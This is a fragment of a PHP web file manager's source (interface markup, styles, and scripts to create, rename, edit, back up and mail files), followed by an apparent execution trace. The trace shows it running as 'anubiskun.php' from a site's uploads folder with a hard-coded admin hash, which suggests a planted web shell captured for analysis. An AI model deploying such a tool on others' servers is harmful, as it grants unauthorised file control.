<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css">
<?php
if (isset($_GET['view']) && FM_USE_HIGHLIGHTJS) {
?>
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/styles/<?php
echo "FM_HIGHLIGHTJS_STYLE";
?>.min.css">
<?php
}
?>
<style>
html,body,div,span,p,pre,a,code,em,img,small,strong,ol,ul,li,form,label,table,tr,th,td{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;background:transparent;border:none;text-decoration:none}
html{overflow-y:scroll}body{padding:0;font:13px/16px Tahoma,Arial,sans-serif;color:#222;background:#fafafa}
input,select,textarea,button{font-size:inherit;font-family:inherit}
a{color:#296ea3;text-decoration:none}a:hover{color:#b00}img{vertical-align:middle;border:none}
a img{border:none}span{color:#777}small{font-size:11px;color:#999}p{margin-bottom:10px}
ul{margin-left:2em;margin-bottom:10px}ul{list-style-type:none;margin-left:0}ul li{padding:3px 0}
table{border-collapse:collapse;border-spacing:0;margin-bottom:10px;width:100%}
th,td{padding:4px 7px;text-align:left;vertical-align:top;border:1px solid #ddd;background:#fff;white-space:nowrap}
th,td.gray{background-color:#eee}td.gray span{color:#222}
tr:hover td{background-color:#f5f5f5}tr:hover td.gray{background-color:#eee}
.table{width:100%;max-width:100%;margin-bottom:1rem;margin-top:4rem;}
.table td,.table th{padding:.55rem;vertical-align:top;border-top:1px solid #ddd}
.table td label input[type="checkbox"],.table th label input[type="checkbox"]{margin-top:4px;}
.table thead th{vertical-align:bottom;border-bottom:2px solid #eceeef}.table tbody+tbody{border-top:2px solid #eceeef}.table .table{background-color:#fff}
code,pre{display:block;margin-bottom:10px;font:13px/16px Consolas,'Courier New',Courier,monospace;border:1px dashed #ccc;padding:5px;overflow:auto}
pre.with-hljs{padding:0} .hidden {display:none;}
pre.with-hljs code{margin:0;border:0;overflow:visible}
code.maxheight,pre.maxheight{max-height:512px}input[type="checkbox"]{margin:0;padding:0}
.fa.fa-caret-right{font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec}.fa.fa-home{font-size:1.2em;vertical-align:bottom;}
body {margin:0 30px;margin-top: 45px;}
#wrapper{min-width:400px;margin:0 auto}
.path{padding:20px;border:1px solid #ddd;background-color:#fff;margin-bottom:10px}
.right{text-align:right}.center{text-align:center}.float-right{float:right}.float-left{float:left}
.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff;margin-bottom:-3rem;margin-top:3rem;}
.message.ok{border-color:green;color:green}
.message.error{border-color:red;color:red}
.message.alert{border-color:orange;color:orange}
.btn{border:0;background:none;padding:0;margin:0;font-weight:bold;color:#296ea3;cursor:pointer}.btn:hover{color:#b00}
.preview-img{max-width:100%;background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC") repeat 0 0}.inline-actions>a>i{font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:2px;}
.preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000}
.compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff}
.filename{max-width:420px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.break-word{word-wrap:break-word;margin-left:30px;}.break-word.float-left a{color:#fff}.break-word+.float-right{padding-right:30px;position:relative;}.break-word+.float-right>a{color:#fff;font-size:1.2em;margin-right:4px;}
.modal{display:none;position:fixed;z-index:1;padding-top:100px;left:0;top:0;width:100%;height:100%;overflow:auto;background-color:#000;background-color:rgba(0,0,0,.4)}
.modal-content{background-color:#fefefe;margin:auto;padding:20px;border:1px solid #888;width:80%}
.close{color:#aaa;float:right;font-size:28px;font-weight:700}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer}
#editor {position:absolute;top:50px;right:30px;bottom:5px;left:30px;}
.edit-file-actions {position: absolute;top:0;right:30px;background:#585858;margin-top:5px;}
.edit-file-actions>button,.edit-file-actions>a{background:#f8f8fb;padding:5px 15px;border:0;cursor:pointer;color:#296ea3}
.group-btn{background:#fff;padding:2px 6px;border:1px solid;cursor:pointer;color:#296ea3;}
.main-nav{position:fixed;top:0;left:0;padding:10px 30px;padding-left:1px;width:100%;background:#585858;color:#fff;border:0;}
.login-form {width:320px;text-align:center;margin:0 auto;}
.login-form label,.path.login-form input {padding:5px;margin:10px}.footer-links{background:transparent;border:0}
input[type=search]{height:30px;margin-top:20px;width:80%;border:1px solid #ccc;}
.modalDialog{position:fixed;font-family:Arial,Helvetica,sans-serif;top:0;right:0;bottom:0;left:0;background:rgba(0,0,0,.8);z-index:99999;opacity:0;-webkit-transition:opacity .4s ease-in;-moz-transition:opacity .4s ease-in;transition:opacity .4s ease-in;pointer-events:none}.modalDialog:target{opacity:1;pointer-events:auto}.modalDialog>.model-wrapper{width:400px;position:relative;margin:10% auto;padding:5px 20px 13px;border-radius:2px;background:#fff}.close{background:#fff;color:#000;line-height:25px;position:absolute;right:0;text-align:center;top:0;width:24px;text-decoration:none;font-weight:700;border-radius:0 5px 0 0;font-size:18px}.close:hover{background:#00d9ff}.modalDialog p{line-height:30px}
div#searchresultWrapper{max-height:320px;overflow:auto;}div#searchresultWrapper li{margin: 8px 0; list-style:none;}
li.folder:before, li.file:before{font: normal normal normal 14px/1 "FontAwesome";content:"\f016";margin-right:5px;}li.folder:before{content:"\f114";}
</style>
</head>
<body>
<div id="wrapper">
<div id="createNewItem" class="modalDialog"><div class="model-wrapper"><a href="#close" title="<?php
echo fm_t('Close', $lang);
?>" class="close">X</a><h2><?php
echo fm_t('Create New Item', $lang);
?></h2><p>
<label for="newfile"><?php
echo fm_t('Item Type', $lang);
?> : </label><input type="radio" name="newfile" id="newfile" value="file"><?php
echo fm_t('File', $lang);
?> <input type="radio" name="newfile" value="folder" checked> <?php
echo fm_t('Folder', $lang);
?><br><label for="newfilename"><?php
echo fm_t('Item Name', $lang);
?> : </label><input type="text" name="newfilename" id="newfilename" value=""><br><input type="submit" name="submit" class="group-btn" value="<?php
echo fm_t('Create Now', $lang);
?>" onclick="newfolder('<?php
echo fm_enc(FM_PATH);
?>');return false;"></p></div></div>
<div id="searchResult" class="modalDialog"><div class="model-wrapper"><a href="#close" title="<?php
echo fm_t('Close', $lang);
?>" class="close">X</a>
<input type="search" name="search" value="" placeholder="<?php
echo fm_t('Find a item in current folder...', $lang);
?>">
<h2><?php
echo fm_t('Search Results', $lang);
?></h2>
<div id="searchresultWrapper"></div>
</div></div>
<?php
}
/**
* Show page footer
*/
function fm_show_footer()
{
?>
</div>
<script>
function newfolder(p){var n=document.getElementById("newfilename").value;var t=document.querySelector('input[name="newfile"]:checked').value;if(n!==null&&n!==''&&t){window.location.hash="#";window.location.search='p='+encodeURIComponent(p)+'&new='+encodeURIComponent(n)+'&type='+encodeURIComponent(t);}}
function rename(p,f){var n=prompt('<?php
global $lang;
echo fm_t('New name', $lang);
?>',f);if(n!==null&&n!==''&&n!=f){window.location.search='p='+encodeURIComponent(p)+'&ren='+encodeURIComponent(f)+'&to='+encodeURIComponent(n);}}
function change_checkboxes(l,v){for(var i=l.length-1;i>=0;i--){l[i].checked=(typeof v==='boolean')?v:!l[i].checked;}}
function get_checkboxes(){var i=document.getElementsByName('file[]'),a=[];for(var j=i.length-1;j>=0;j--){if(i[j].type='checkbox'){a.push(i[j]);}}return a;}
function select_all(){var l=get_checkboxes();change_checkboxes(l,true);}
function unselect_all(){var l=get_checkboxes();change_checkboxes(l,false);}
function invert_all(){var l=get_checkboxes();change_checkboxes(l);}
function mailto(p,f){var http=new XMLHttpRequest(); var params="path="+p+"&file="+f+"&type=mail&ajax=true"; http.open("POST", '', true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange=function(){if(http.readyState == 4 && http.status == 200){ alert(http.responseText);}}
http.send(params);
}
function showSearch(u){var http=new XMLHttpRequest();var params="path="+u+"&type=search&ajax=true";http.open("POST", '', true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange=function(){if(http.readyState == 4 && http.status == 200){ window.searchObj = http.responseText; document.getElementById('searchresultWrapper').innerHTML = "";window.location.hash="#searchResult"}}
http.send(params);}
var searchEl = document.querySelector('input[type=search]');var timeout = null;searchEl.onkeyup = function(evt) {clearTimeout(timeout);var data = JSON.parse(window.searchObj);var searchTerms = document.querySelector('input[type=search]').value;timeout = setTimeout(function () {if(searchTerms.length>=2) {var res = getSearchResult(data,searchTerms);var f1='',f2='';res.folders.forEach(function (d){f1+='<li class="'+d.type+'"><a href="?p='+ d.path+'">'+d.name+'</a></li>'; });res.files.forEach(function (d){f2+='<li class="'+d.type+'"><a href="?p='+ d.path +'&view='+ d.name +'">'+d.name+'</a></li>';});document.getElementById('searchresultWrapper').innerHTML = '<div class="model-wrapper">'+f1+f2+'</div>';}},500);};
function getSearchResult(data,searchTerms) {var folders=[],files=[];data.forEach(function(d){if(d.type === 'folder') { getSearchResult(d.items,searchTerms);if(d.name.toLowerCase().match(searchTerms)) {folders.push(d);}} else if(d.type === 'file') {if(d.name.toLowerCase().match(searchTerms)) {files.push(d);} }}); return {folders: folders, files: files};}
function checkbox_toggle(){var l=get_checkboxes();l.push(this);change_checkboxes(l);}
function backup(p,f){ var http=new XMLHttpRequest();var params="path="+p+"&file="+f+"&type=backup&ajax=true";http.open("POST", '', true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange=function(){if(http.readyState == 4 && http.status == 200){alert(http.responseText);}}
http.send(params); return false; }
function edit_save(i,atr){var contents=(atr=="ace")?editor.getSession().getValue():document.getElementById('normal-editor').value;if(!!contents){var form=document.createElement("form");form.setAttribute("method", 'POST');form.setAttribute("action", '');var inputField=document.createElement("textarea");inputField.setAttribute("type", "textarea");inputField.setAttribute("name", 'savedata');var _temp=document.createTextNode(contents);inputField.appendChild(_temp);form.appendChild(inputField);document.body.appendChild(form);form.submit();}}
</script>
<?php
if (isset($_GET['view']) && FM_USE_HIGHLIGHTJS) {
?>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/highlight.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<?php
}
if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE) {
?>
<script src="//cdnjs.cloudflare.com/ajax/libs/ace/1.2.8/ace.js"></script>
<script>var editor = ace.edit("editor");editor.getSession().setMode("ace/mode/javascript");</script>
<?php
}
?>
</body>
</html>
<?php
}
/**
* Show image
* @param string $img
*/
function fm_show_image($img)
{
$modified_time = gmdate('D, d M Y 00:00:00') . ' GMT';
$expires_time = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT';
$img = trim($img);
$images = fm_get_images();
$image = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg==';
if (isset($images[$img])) {
$image = $images[$img];
}
$image = base64_decode($image);
if (function_exists('mb_strlen')) {
$size = mb_strlen($image, '8bit');
} else {
$size = strlen($image);
}
if (function_exists('header_remove')) {
header_remove('Cache-Control');
header_remove('Pragma');
} else {
header('Cache-Control:');
header('Pragma:');
}
header('Last-Modified: ' . $modified_time, true, 200);
header('Expires: ' . $expires_time);
header('Content-Length: ' . $size);
header('Content-Type: image/png');
echo $image;
exit;
}
/**
* Get base64-encoded images
* @return array
*/
function fm_get_images()
{
return array("favicon" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ\r\nbWFnZVJlYWR5ccllPAAAAZVJREFUeNqkk79Lw0AUx1+uidTQim4Waxfpnl1BcHMR6uLkIF0cpYOI\r\nf4KbOFcRwbGTc0HQSVQQXCqlFIXgFkhIyvWS870LaaPYH9CDy8vdfb+fey930aSUMEvT6VHVzw8x\r\nrKUX3N3Hj/8M+cZ6GcOtBPl6KY5iAA7KJzfVWrfbhUKhALZtQ6myDf1+X5nsuzjLUmUOnpa+v5r1\r\nZ4ZDDfsLiwER45xDEATgOI6KntfDd091GidzC8vZ4vH1QQ09+4MSMAMWRREKPMhmsyr6voYmrnb2\r\nPKEizdEabUaeFCDKCCHAdV0wTVNFznMgpVqGlZ2cipzHGtKSZwCIZJgJwxB38KHT6Sjx21V75Jcn\r\nLXmGAKTRpGVZUx2dAqQzSEqw9kqwuGqONTufPrw37D8lQFxCvjgPXIixANLEGfwuQacMOC4kZz+q\r\nGdhJS550BjpRCdCbAJCMJRkMASEIg+4Bxz4JwAwDSEueAYDLIM+QrOk6GHiRxjXSkJY8KUCvdXZ6\r\nkbuvNx+mOcbN9taGBlpLAWf9nX8EGADoCfqkKWV/cgAAAABJRU5ErkJggg==", "sprites" => "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\r\nRK5CYII=");
}
/**
* Get all translations
* @return array
*/
function fm_get_strings()
{
static $strings;
if ($strings !== null) {
return $strings;
}
$strings = array();
// get additional translations from 'filemanager-l10n.php'
$l10n_path = "/var/www/html/filemanager-l10n.php";
if (is_readable($l10n_path)) {
$l10n_strings = (include $l10n_path);
if (!empty($l10n_strings) && is_array($l10n_strings)) {
$strings = array_merge($strings, $l10n_strings);
}
}
return $strings;
}
/**
* Get all available languages
* @return array
*/
function fm_get_available_langs()
{
$strings = fm_get_strings();
$languages = array_keys($strings);
$languages[] = 'en';
return $languages;
}
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:13:58.412508]
1 0 1 0.000138 393528
1 3 0 0.002370 933248 {main} 1 /var/www/html/uploads/anubiskun.php 0 0
1 A /var/www/html/uploads/anubiskun.php 7 $lang = 'en'
1 A /var/www/html/uploads/anubiskun.php 10 $use_auth = TRUE
1 A /var/www/html/uploads/anubiskun.php 14 $auth_users = ['admin' => '0da2e7fa0ba90f4ae031b0d232b8a57a']
1 A /var/www/html/uploads/anubiskun.php 19 $readonly_users = [0 => 'user']
1 A /var/www/html/uploads/anubiskun.php 23 $show_hidden_files = TRUE
1 A /var/www/html/uploads/anubiskun.php 26 $use_highlightjs = TRUE
1 A /var/www/html/uploads/anubiskun.php 29 $highlightjs_style = 'vs'
1 A /var/www/html/uploads/anubiskun.php 32 $edit_files = TRUE
1 A /var/www/html/uploads/anubiskun.php 35 $send_mail = TRUE
1 A /var/www/html/uploads/anubiskun.php 38 $toMailId = '[email protected]'
1 A /var/www/html/uploads/anubiskun.php 41 $default_timezone = 'Etc/GMT+8'
1 A /var/www/html/uploads/anubiskun.php 45 $root_url = '/'
1 A /var/www/html/uploads/anubiskun.php 48 $root_path = '/var/www/html//'
1 A /var/www/html/uploads/anubiskun.php 51 $http_host = 'localhost'
1 A /var/www/html/uploads/anubiskun.php 54 $iconv_input_encoding = 'UTF-8'
1 A /var/www/html/uploads/anubiskun.php 57 $datetime_format = 'd.m.y H:i'
2 4 0 0.002572 933288 set_time_limit 0 /var/www/html/uploads/anubiskun.php 70 1 600
2 4 1 0.002590 933352
2 4 R FALSE
2 5 0 0.002604 933320 date_default_timezone_set 0 /var/www/html/uploads/anubiskun.php 72 1 'Etc/GMT+8'
2 5 1 0.002626 933384
2 5 R TRUE
2 6 0 0.002639 933336 ini_set 0 /var/www/html/uploads/anubiskun.php 74 2 'default_charset' 'UTF-8'
2 6 1 0.002655 933440
2 6 R 'UTF-8'
2 7 0 0.002668 933336 version_compare 0 /var/www/html/uploads/anubiskun.php 75 3 '7.2.34-37+ubuntu22.04.1+deb.sury.org+1' '5.6.0' '<'
2 7 1 0.002685 933432
2 7 R FALSE
2 8 0 0.002697 933336 function_exists 0 /var/www/html/uploads/anubiskun.php 78 1 'mb_regex_encoding'
2 8 1 0.002711 933376
2 8 R FALSE
2 9 0 0.002723 933336 session_cache_limiter 0 /var/www/html/uploads/anubiskun.php 82 1 ''
2 9 1 0.002737 933408
2 9 R 'nocache'
2 10 0 0.002750 933336 session_name 0 /var/www/html/uploads/anubiskun.php 83 1 'filemanager'
2 10 1 0.002764 933408
2 10 R 'PHPSESSID'
2 11 0 0.002778 933336 session_start 0 /var/www/html/uploads/anubiskun.php 84 0
2 11 1 0.002829 933848
2 11 R TRUE
1 A /var/www/html/uploads/anubiskun.php 92 $is_https = FALSE
2 12 0 0.002855 933848 rtrim 0 /var/www/html/uploads/anubiskun.php 95 2 '/var/www/html//' '\\/'
2 12 1 0.002870 933960
2 12 R '/var/www/html'
1 A /var/www/html/uploads/anubiskun.php 95 $root_path = '/var/www/html'
2 13 0 0.002894 933848 str_replace 0 /var/www/html/uploads/anubiskun.php 96 3 '\\' '/' '/var/www/html'
2 13 1 0.002910 933944
2 13 R '/var/www/html'
1 A /var/www/html/uploads/anubiskun.php 96 $root_path = '/var/www/html'
